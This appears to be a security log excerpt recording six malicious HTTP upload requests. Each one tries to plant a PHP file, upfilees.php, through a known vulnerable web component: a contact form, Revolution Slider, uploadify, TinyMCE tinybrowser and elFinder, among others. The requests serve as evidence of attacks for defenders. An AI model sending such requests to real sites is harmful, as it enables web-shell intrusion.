Malicious File Upload attempts upfilees.php uploadboundary

Malicious File Upload attempts
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POST /   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 340
Connection: Close
yiw_contact[]=upfilees.php
yiw_action=sendemail
id_form=
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POST /license.php   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 250
Connection: Close
filename=upfilees.php
1=
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POST /wp-admin/admin-ajax.php   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 360
Connection: Close
update_file=upfilees.php
action=revslider_ajax_action
client_action=
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POST/uploadify/uploadify.php?folder=/   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 241
Connection: Close
Filedata=upfilees.php
1=
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POST/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/&type=file&feid=&obfuscate=&sessidpass=   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 358
Connection: Close
Filedata=upfilees.php.suspected
Filename=send.php.suspected
Upload=
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POST /sites/all/libraries/elfinder/php/connector.minimal.php   HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.mysite.com
Content-Length: 394
Connection: Close
upload[]=upfilees.php
cmd=upload
target=l1_Lw
html=
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